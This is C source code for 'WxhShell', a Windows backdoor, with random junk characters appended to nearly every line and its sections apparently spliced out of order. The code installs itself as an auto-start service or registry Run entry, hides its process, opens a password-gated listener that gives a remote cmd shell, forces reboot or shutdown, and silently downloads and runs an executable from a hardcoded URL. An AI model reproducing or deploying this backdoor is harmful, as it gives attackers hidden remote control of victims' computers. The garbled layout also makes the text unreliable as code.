    if(Boot(SHUTDOWN)) v+DXs!O{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NqN}] nu6  
    else { Yo}QW;,g  
    closesocket(wsh); CH0Nkf  
    ExitThread(0); j HEt   
    } m :2A[H+  
    break; p|w0 i[hc  
    } oUL4l=dj.  
  // 获取shell rotu#?B  
  case 's': { "8\2w]"  
    CmdShell(wsh); _rW75n=3b7  
    closesocket(wsh); d M;v39  
    ExitThread(0); ]9}^}U1."  
    break; "|/Q5 *L  
  } a6"-,Kg  
  // 退出 $v1_M1  
  case 'x': { H ;)B5C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0\wW%3C  
    CloseIt(wsh); ZtX CPA!  
    break; ` c"  
    } ^(Wu$\SA  
  // 离开 Upz?x{>x  
  case 'q': { CTQJ=R"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ L"?C  
    closesocket(wsh);  =tc!"{  
    WSACleanup(); )< p ~  
    exit(1); xk s M e  
    break; 2k^'}7G%  
        } |Zdl[|kX  
  } }qBmt>#  
  } 5I/lFoy7  
fN6n2*wr(  
  // 提示信息 "Ve9\$_s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $-paYQ4  
} a[E}o<{  
  } 9<5S!?JL  
pL2{zW`FDh  
  return; c'wU$xt.w  
} "-Wb[*U;  
wotw nE  
// shell模块句柄 sA oxLI  
int CmdShell(SOCKET sock) YVPLHwh/5  
{ 6K^O.VoV^J  
STARTUPINFO si; wQ81wfr1:  
ZeroMemory(&si,sizeof(si)); No*[@D]g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H`rd bE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %RzCJxT  
PROCESS_INFORMATION ProcessInfo; EKEJ9Y+47H  
char cmdline[]="cmd"; 'i4L.&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cVDcda|PE  
  return 0; bP&1tE  
} N t\ZM  
VPb8dv(a3  
// 自身启动模式 Qw<&N$  
int StartFromService(void) 4u#TKr.  
{ H^M>(kT#&  
typedef struct Cl!9/l?z  
{ mB"1QtD  
  DWORD ExitStatus; 1o?uf,H7O  
  DWORD PebBaseAddress; ;*WG9Y(W  
  DWORD AffinityMask; -! ^D8^s  
  DWORD BasePriority; rl]K :8*  
  ULONG UniqueProcessId; 7 4]qz,  
  ULONG InheritedFromUniqueProcessId; s%1Z raMvJ  
}   PROCESS_BASIC_INFORMATION; *NC@o*  
#@F.wV0  
PROCNTQSIP NtQueryInformationProcess; &_74h);2I:  
0e1-ZP CDj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~EU\\;1Rmq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WWATG=  
#\\|:`YV  
  HANDLE             hProcess; L[!||5y  
  PROCESS_BASIC_INFORMATION pbi; .AZwVP<  
q}W})  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )W&{OMr  
  if(NULL == hInst ) return 0; W:K '2j  
PlCj<b1D:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gyuBmY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K|I<kA~!H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zn[ppsz|  
qQ 8+gZG$R  
  if (!NtQueryInformationProcess) return 0; ABcB-V4  
YLuf2ja}X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ',/2J0_  
  if(!hProcess) return 0; Y(R.<LtY  
$=) Pky-~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {(I":rt#  
(%mV,2|:20  
  CloseHandle(hProcess); Z58{YCY  
Pb sxjP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cQm4q19  
if(hProcess==NULL) return 0;  K~B  
=}.gU WV  
HMODULE hMod; P>(FCX  
char procName[255]; ;; ;=)'o  
unsigned long cbNeeded; n~.$iN  
GxEShSGOE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wx YGr`f  
Z B`d&!W>  
  CloseHandle(hProcess); 6@eF|GoP  
 :>U+HQll  
if(strstr(procName,"services")) return 1; // 以服务启动 E;[Uhh|78!  
dT[JVl+3=  
  return 0; // 注册表启动 h~ZLULW)B  
} wE}Wh5  
=[LorvX+  
// 主模块 216$,4i  
int StartWxhshell(LPSTR lpCmdLine) [2h.5.af  
{ MdmN7>  
  SOCKET wsl; !#=3>\np+X  
BOOL val=TRUE; P^tTg  
  int port=0; (|NCxey  
  struct sockaddr_in door; lqKj;'  
!-%XrU8o3  
  if(wscfg.ws_autoins) Install(); " m13HS  
keFH CC  
port=atoi(lpCmdLine); e~d=e3mBp  
h9/fD5  
if(port<=0) port=wscfg.ws_port; "%p7ft  
T^(> 8/O  
  WSADATA data; L#zD4L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9bspf {  
2TNK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kDI?v6y5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !?=U{^|7y  
  door.sin_family = AF_INET; _^NyLI%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t"Ah]sD  
  door.sin_port = htons(port); cv G*p||  
8;r#HtFM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )BvMFwQG  
closesocket(wsl); Hf\sF(, (  
return 1; kguZAO6  
} +@~WKa  
aU^6FI  
  if(listen(wsl,2) == INVALID_SOCKET) { b?c/J {me  
closesocket(wsl); U7 ?v4O]D[  
return 1; 0Qq<h;8xEc  
} .ESvMK~x  
  Wxhshell(wsl); >0W P:-\*  
  WSACleanup(); %qiVbm0  
+vaA P=  
return 0; Ikw@B)0}  
t%%()!|)j  
} Q;g7<w17  
IWq#W(yM  
// 以NT服务方式启动 &N._}ts  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JWIY0iP  
{ _OyQ:>M6P  
DWORD   status = 0; 0Q`v#$?":  
  DWORD   specificError = 0xfffffff; E6Z kO/  
\2 e^x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `$ S&:Q,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &Jc atI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -5 D<zP/  
  serviceStatus.dwWin32ExitCode     = 0; %1.F;-GdsW  
  serviceStatus.dwServiceSpecificExitCode = 0; YO$D-  
  serviceStatus.dwCheckPoint       = 0; f&mi nBU  
  serviceStatus.dwWaitHint       = 0; 1 l"2 ~k  
rM"27ud[`_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d?T!)w  
  if (hServiceStatusHandle==0) return; b5LToy:  
`Y5LAt:  
status = GetLastError(); -(]C FnD_N  
  if (status!=NO_ERROR) f!`? _  
{ N)G HQlgH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G(TFv\`vH  
    serviceStatus.dwCheckPoint       = 0; b&mA1w[W]  
    serviceStatus.dwWaitHint       = 0; #Pp:H/b  
    serviceStatus.dwWin32ExitCode     = status; Rd5_{F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 66,(yxg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fg3Jv*  
    return; c|;n)as9(%  
  } .8u@/f%pV  
#Uu,yHMv:;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W>C?a=r~  
  serviceStatus.dwCheckPoint       = 0; YnRO>`  
  serviceStatus.dwWaitHint       = 0; "`V@?+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BB\GrD  
} ws+'*7  
^`'\eEa  
// 处理NT服务事件,比如:启动、停止  ;Pt8\X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /HpM17   
{ +tT"  
switch(fdwControl) } &B6  
{ ypx~WXFK  
case SERVICE_CONTROL_STOP: W.MZN4=  
  serviceStatus.dwWin32ExitCode = 0; _huJ*W7lR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wW1VOj=6V"  
  serviceStatus.dwCheckPoint   = 0; {zvaZY|K"  
  serviceStatus.dwWaitHint     = 0; m^}|LB:5  
  { Cl<!S`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P:4"~ ]}  
  } 3NLn}  
  return; g"1V ]  
case SERVICE_CONTROL_PAUSE: jts0ZFHc-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iX]OF.:   
  break; J<QZ)<T,&  
case SERVICE_CONTROL_CONTINUE: TA-2{=8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :LY.C<8  
  break; JM|HnyI  
case SERVICE_CONTROL_INTERROGATE: jJ$B^Y"4  
  break; t4_yp_  
}; ?J2A1iuq3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <&l$xn  
} =J IceLL  
z7bJV/f  
// 标准应用程序主函数 `}l%61n0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tr[}F7n9  
{ X$we\t  
#dUKG8-HJ  
// 获取操作系统版本 {MUiK 5:  
OsIsNt=GetOsVer(); e"%TU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gHBvQ1g  
1fS&KO{a  
  // 从命令行安装 >] 'oN  
  if(strpbrk(lpCmdLine,"iI")) Install(); {x_.QWe5  
0N$7(.  
  // 下载执行文件 UpGDLbf^  
if(wscfg.ws_downexe) { hhy+bA}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) id1cZig  
  WinExec(wscfg.ws_filenam,SW_HIDE); |VWT4*K  
} m6ge %  
='o3<}  
if(!OsIsNt) { 0w3c8s.  
// 如果时win9x,隐藏进程并且设置为注册表启动 FfJ;r'eGs  
HideProc(); MF4 (  
StartWxhshell(lpCmdLine); Q:(mK* _  
} W/!P1M n  
else dj Ojd,  
  if(StartFromService()) 5;/n`Bd  
  // 以服务方式启动 CW &z?Bra  
  StartServiceCtrlDispatcher(DispatchTable); #y:D{%Wp  
else g8##Be  
  // 普通方式启动 ca_mift  
  StartWxhshell(lpCmdLine); "CJ~BJI%  
_Hv+2E[4Z  
return 0; pXSShU#  
} 4=([v;fc  
Q%JI-&K  
[P`e @$  
mZR3Hl$  
=========================================== #{q.s[g*+1  
d2`g,~d  
@=Q!a (g  
XGx[Ny_A2  
*vD.\e~  
5CFNBb%Xy  
" Qu61$!  
nnv|GnQST  
#include <stdio.h> ,/{e%J  
#include <string.h> {JgY-#R?{(  
#include <windows.h> gm-[x5O"  
#include <winsock2.h> WP L@v+  
#include <winsvc.h> ukSv70Ev  
#include <urlmon.h> Jp=fLo 9  
xQu|D>kv87  
#pragma comment (lib, "Ws2_32.lib") JI5o~; }m  
#pragma comment (lib, "urlmon.lib") y!#-[K:  
 rL{R=0  
#define MAX_USER   100 // 最大客户端连接数 N y'\Q"Y]  
#define BUF_SOCK   200 // sock buffer XDemdMy$  
#define KEY_BUFF   255 // 输入 buffer Z10Vx2B  
k7CKl;Fck  
#define REBOOT     0   // 重启 p\w<~ pN[  
#define SHUTDOWN   1   // 关机 4nsJZo#S/  
YExgUE|  
#define DEF_PORT   5000 // 监听端口 l^lb ^"o  
 arYq$~U  
#define REG_LEN     16   // 注册表键长度 pZnp!!G  
#define SVC_LEN     80   // NT服务名长度 D<SC `  
a `R%\@1  
// 从dll定义API MUrPr   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h@Q^&%w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wh8';LZ>R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S[Du >  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }D#: NlMp  
DzAZv/h76  
// wxhshell配置信息 ;V}:0{p  
struct WSCFG { {~U3|_"[pX  
  int ws_port;         // 监听端口 yH/A9L,Z  
  char ws_passstr[REG_LEN]; // 口令 .e~"+Pe6b  
  int ws_autoins;       // 安装标记, 1=yes 0=no UT<e/  
  char ws_regname[REG_LEN]; // 注册表键名 5RP kAC  
  char ws_svcname[REG_LEN]; // 服务名 [8iY0m_Qe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #CC5+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jc5[r;#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %j7b0pb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vY4sU@+V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AQ~ xjU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N6Mr#A-{  
IO\4dU)  
}; W7S~~  
FnO@\{M"A  
// default Wxhshell configuration C-&ymJC|  
struct WSCFG wscfg={DEF_PORT, f<YYo  
    "xuhuanlingzhe", Q\$3l'W  
    1, <`}P  
    "Wxhshell", Pxlc RF  
    "Wxhshell", n Nt28n@  
            "WxhShell Service", ~non_pJ  
    "Wrsky Windows CmdShell Service", ^D+J k8  
    "Please Input Your Password: ", dHnCSOM<  
  1, I!sT=w8V  
  "http://www.wrsky.com/wxhshell.exe", 2*: q$c  
  "Wxhshell.exe" aGD< #]  
    }; C96/   
R_!.vGhkN  
// 消息定义模块 G|wtl(}3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2cMC ZuO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3Ua?^2l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EW `hL~{  
char *msg_ws_ext="\n\rExit."; 6Tl6A>%s  
char *msg_ws_end="\n\rQuit."; GKBoSSnV&  
char *msg_ws_boot="\n\rReboot..."; A8)4nOXM  
char *msg_ws_poff="\n\rShutdown..."; qe0D[L  
char *msg_ws_down="\n\rSave to "; M8/a laoT  
76nH)^%l<  
char *msg_ws_err="\n\rErr!"; ~YYnn7)  
char *msg_ws_ok="\n\rOK!"; '75T2Ud  
i>m%hbAk  
char ExeFile[MAX_PATH]; %* "+kw Z  
int nUser = 0; KgL!~J  
HANDLE handles[MAX_USER]; q/i2o[f'n  
int OsIsNt; b($hp%+yJ  
-#v~;Ci  
SERVICE_STATUS       serviceStatus; V b0T)C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y9:4n1fg  
Tgdy;?  
// 函数声明 + jLy>=u  
int Install(void); ^b8~X [1J_  
int Uninstall(void); y4^u&0}0$  
int DownloadFile(char *sURL, SOCKET wsh); G3.aw  
int Boot(int flag); xcB\Y:   
void HideProc(void); vSgT36ZF  
int GetOsVer(void); 7Uenr9)M  
int Wxhshell(SOCKET wsl); t<H"J__&  
void TalkWithClient(void *cs); At Wv9  
int CmdShell(SOCKET sock); @*6fEG{,q  
int StartFromService(void); \x<8   
int StartWxhshell(LPSTR lpCmdLine); g)X3:=['  
(V{/8%mWc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Y($ F2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eADCT  
8w0~2-v.?V  
// 数据结构和表定义 LP vp (1  
SERVICE_TABLE_ENTRY DispatchTable[] = EZUaYp ~M  
{ fQ<sq0' e\  
{wscfg.ws_svcname, NTServiceMain}, ai !u+L  
{NULL, NULL} v3-/ [-XB:  
}; /$~1e7 W  
R N$vKJk  
// 自我安装 qmrT d G  
int Install(void) _#8hgwf>  
{ aacy5E  
  char svExeFile[MAX_PATH]; \v2!5z8|  
  HKEY key; E>~R P^?Uz  
  strcpy(svExeFile,ExeFile); n$i X6Cd  
=?i?-6M  
// 如果是win9x系统,修改注册表设为自启动 kCBtK?g  
if(!OsIsNt) { #AD_EN9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T+Oqd\05.+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d ^bSV4  
  RegCloseKey(key); HbTVuf o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fM= o?w6v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M xE]EJZ  
  RegCloseKey(key); `|t,Uc|7!  
  return 0; xl}rdnf}  
    } S=@+qcI  
  }  }k^uup*{  
} p Cz6[*kC  
else { {U5sRM|I  
pBsb>wvej  
// 如果是NT以上系统,安装为系统服务 dY1t3@E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :qzg?\(  
if (schSCManager!=0)  o E+'@  
{ q<YM,%mgj  
  SC_HANDLE schService = CreateService B%F]K<  
  ( L}Z.FqJ  
  schSCManager, CoN[Yf3\  
  wscfg.ws_svcname, Al$z.i?R  
  wscfg.ws_svcdisp, oi #B7  
  SERVICE_ALL_ACCESS, 6= ?0&Bx&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;_}pIO  
  SERVICE_AUTO_START, 8lyIL^  
  SERVICE_ERROR_NORMAL, 'xW=qboOp  
  svExeFile, ;UdM8+^/V]  
  NULL, 77RZ<u9/`  
  NULL, wh:;G`6S  
  NULL, .LzA'q1+z  
  NULL, vq$6e*A  
  NULL `PWKA;W$0  
  ); yV^Yp=f_  
  if (schService!=0) 4]d^L>  
  { IwyA4Ak Ru  
  CloseServiceHandle(schService); wkg4I.  
  CloseServiceHandle(schSCManager); |#Gxqq'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -gn0@hS0  
  strcat(svExeFile,wscfg.ws_svcname); {##G.n\~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +=tdgw/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Cfi{%,em  
  RegCloseKey(key); Jh"[ug  
  return 0; oo'9ZE/%  
    } = 0 ~4k#  
  } )nN!% |J  
  CloseServiceHandle(schSCManager); -#\T  
} 1/dL-"*0  
} ^y5A\nz&  
Gek?+|m  
return 1; L%/RD2L D  
} L8 P0bNi  
LuS@Kf8N+  
// 自我卸载 &V38)83a  
int Uninstall(void) H<Sn p)  
{ SmXoNiM"y  
  HKEY key; F`D$bE;|  
~Ntk -p  
if(!OsIsNt) { T3 w%y`K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *C*J1JYp+  
  RegDeleteValue(key,wscfg.ws_regname); g/GI'8EMj  
  RegCloseKey(key); y0%@^^-Ru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } z'Jsy[s  
  RegDeleteValue(key,wscfg.ws_regname); De$~ *2  
  RegCloseKey(key); (5T>`7g8  
  return 0; 9*"  
  } -]3K#M)s  
} pqG> |#RG  
} hh;kBv07o  
else { )5|9EXh  
|rx5O5p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); **q8vhJM  
if (schSCManager!=0) 0]d;)_`@  
{ [YvS#M3T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M9"Bx/  
  if (schService!=0) a;o0#I#Si  
  { E,i^rAm  
  if(DeleteService(schService)!=0) { 4$-R|@,|_  
  CloseServiceHandle(schService); I;4quFBlMu  
  CloseServiceHandle(schSCManager); gawY{Jr8I  
  return 0; ( 5LCy?-6  
  } P1F-Wy1  
  CloseServiceHandle(schService); -}7$;QK&a  
  } PT>b%7Of  
  CloseServiceHandle(schSCManager); @A[)\E1  
} %. 1/ #{  
} 1]xmOx[mb  
n_kwtWX(  
return 1; \8CCa(H  
} .@H:P  
pGie!2T E  
// 从指定url下载文件 Nl\`xl6y]  
int DownloadFile(char *sURL, SOCKET wsh) =, XCjiBeC  
{ @pH2"k| @  
  HRESULT hr; -%fQr5  
char seps[]= "/"; 4"&-a1N  
char *token; (\:Rnl  
char *file;  y|LHnNQ  
char myURL[MAX_PATH]; /^=1]+_!  
char myFILE[MAX_PATH]; :Xw|v2z%3  
-2.7Z`*(  
strcpy(myURL,sURL); +wi=IrRr  
  token=strtok(myURL,seps); zTng]Mvx  
  while(token!=NULL) n|5\Q  
  { Y3 $jNuV  
    file=token; .s{ "NqRA  
  token=strtok(NULL,seps); x`6MAZ  
  } s&7 3g0$$  
BlJiHz!  
GetCurrentDirectory(MAX_PATH,myFILE); p4T$(]7  
strcat(myFILE, "\\"); b0~r/M;J  
strcat(myFILE, file); '_v~+  
  send(wsh,myFILE,strlen(myFILE),0); V%-hP~nyBx  
send(wsh,"...",3,0); V60L\?a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ebA:Sq:w  
  if(hr==S_OK) dIC\U  
return 0; 0)&!$@HW  
else :8b'HhjM  
return 1; #Y5k/NPg  
GvVkb=="  
} 7}iv+rQ  
J;& y?%{@5  
// 系统电源模块 66val"^W  
int Boot(int flag) [Uup5+MCv  
{ EL,k z8  
  HANDLE hToken; H(y`[B,}*  
  TOKEN_PRIVILEGES tkp; \%7*@&  
/,G `V  
  if(OsIsNt) { TPp]UG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` GF w?G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nh\vWAz9  
    tkp.PrivilegeCount = 1; 'rhgM/I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lu#qo^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,z&S;f.f  
if(flag==REBOOT) { <rzP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lc!2'Do;  
  return 0; }nrjA0WN  
} +&.zwniSS  
else { 15ailA&(Qm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0F[ f%2j  
  return 0; C m[}DB  
} e:O,$R#g  
  } 3)G~ud  
  else { wfo,r 7  
if(flag==REBOOT) { Xs2}n^#i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NQ{(G8x9  
  return 0; )oIh?-WL  
} v3r3$(Hr  
else { #eW T-m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `n&:\Ib  
  return 0; zQ,rw[C"W  
} 1Q@]b_"Xh  
} .UP h  
/8GdCac  
return 1; /1OCK=  
} c~<;}ve^z  
J&8KIOz14Z  
// win9x进程隐藏模块 lu.]R>w  
void HideProc(void) +a5F:3$  
{ aHN"I  
8c5YX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]}3s/NJi  
  if ( hKernel != NULL ) \_Bj"K  
  { 9KVJk</:n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]BO:*&O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RU)(|;  
    FreeLibrary(hKernel); wn"}<ka  
  } "BQnP9  
Z- feMM  
return; C8m9H8Qm  
} b,'O|s]"Sc  
I}PI  
// 获取操作系统版本 6H|1IrG  
int GetOsVer(void) >jt2vU@t.  
{ i$NlS}W  
  OSVERSIONINFO winfo; (d_z\U7l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); / l$enexSt  
  GetVersionEx(&winfo); S=4o@3%$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9xR5Jm>k  
  return 1; wQSan&81Q  
  else <- \|>r Q  
  return 0; ;wwc;wQ'  
} c!IZLaVAr9  
A-!e$yz>  
// 客户端句柄模块 {s8c@-'  
int Wxhshell(SOCKET wsl) w;lpJ B\  
{ /h>g-zb  
  SOCKET wsh; z:\9t[e4  
  struct sockaddr_in client; |N/d }  
  DWORD myID; re*}a)iL  
Yc[umn^K  
  while(nUser<MAX_USER) -Q20af-  
{ u`'" =Y_E  
  int nSize=sizeof(client); E0ED[d,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^8 VW$}  
  if(wsh==INVALID_SOCKET) return 1; KW:N 6w  
I[?\ Or  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nXT`7  
if(handles[nUser]==0) yXU.PSG*  
  closesocket(wsh); nQc,^A)I  
else p#$/{;yy  
  nUser++; 4Fg2/O_3  
  } x*1wsA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z$J m1l  
P) vD?)Q  
  return 0; FCt<h/  
} DP{nvsF  
` @QZK0Ox  
// 关闭 socket JV~ Dly>  
void CloseIt(SOCKET wsh) )Q1>j 2 &  
{ <Z^by;d|z  
closesocket(wsh); |0[Buh[_:c  
nUser--; ~$y"Ldrp  
ExitThread(0); <D a-rv8  
} ^.A*mMQ  
I Cc{2l  
// 客户端请求句柄 NsB]f{7>8+  
void TalkWithClient(void *cs) QoYEWXT|g  
{ cKVFykwM  
e\6H.9=  
  SOCKET wsh=(SOCKET)cs; ^*AI19w!Ys  
  char pwd[SVC_LEN]; U<'N=#A J  
  char cmd[KEY_BUFF]; {T8;-H0H  
char chr[1]; h%EeU 3  
int i,j; S70#_{  
[QnN1k  
  while (nUser < MAX_USER) { KZ5%q.  
}PI:O%N;  
if(wscfg.ws_passstr) {  I0mp[6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8"&!3_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d27q,2f!  
  //ZeroMemory(pwd,KEY_BUFF); nI3p`N8j*  
      i=0; *'?ZG/ (  
  while(i<SVC_LEN) { 'ma X  
s,Gl{  
  // 设置超时 ek&~A0k_o  
  fd_set FdRead; \WiCI:  
  struct timeval TimeOut; T1C_L?L  
  FD_ZERO(&FdRead); :Q`Of}#  
  FD_SET(wsh,&FdRead); M86"J:\u]  
  TimeOut.tv_sec=8; T 6D+@i  
  TimeOut.tv_usec=0; NO~G4PUM0C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ] hT\"5&6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5M>h[Q"R  
vaeQ}F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -@XSDfy7S  
  pwd=chr[0]; pN^g.  
  if(chr[0]==0xd || chr[0]==0xa) { #aX#gh}1  
  pwd=0; Z1,rN#p9  
  break; nL?P/ \  
  } Z=&|__ +d  
  i++; "lt<$.  
    } |" }rdOV)  
iDDJJ>F26  
  // 如果是非法用户,关闭 socket sRt7.fe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "w?0f["  
} tl_3 %$s  
@g#5d|U);  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ejd_ 85$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $2uC%er"H  
?!Y_w2  
while(1) { Z#}sK5s  
%UI^+:C  
  ZeroMemory(cmd,KEY_BUFF); l9 \W=-'  
#]dm/WzY  
      // 自动支持客户端 telnet标准   JL,Y9G*]s  
  j=0; E+Bc>xl@ m  
  while(j<KEY_BUFF) { [3X\"x5@V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }F]Z1('  
  cmd[j]=chr[0]; XHA|v^  
  if(chr[0]==0xa || chr[0]==0xd) { I7_lKr3  
  cmd[j]=0; 48 -j  
  break; IT NFmD  
  } OP\jO DX  
  j++; \lg ^rfj  
    } 7I ~O| Mw  
$ 5"  
  // 下载文件 suQTi'K1  
  if(strstr(cmd,"http://")) { $R'?OK(`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -1 dD~S$  
  if(DownloadFile(cmd,wsh)) 0m3hL~0(a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zv}F?4T~:  
  else bhD-;Y!6;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Q"L)%)'A  
  } YH58p&up  
  else { 9&r]k8K  
}36AeJ7L  
    switch(cmd[0]) { K{d3)lVYCS  
  9<3(  QR  
  // 帮助 _=0Ja S>M.  
  case '?': { to: ;:Goa  
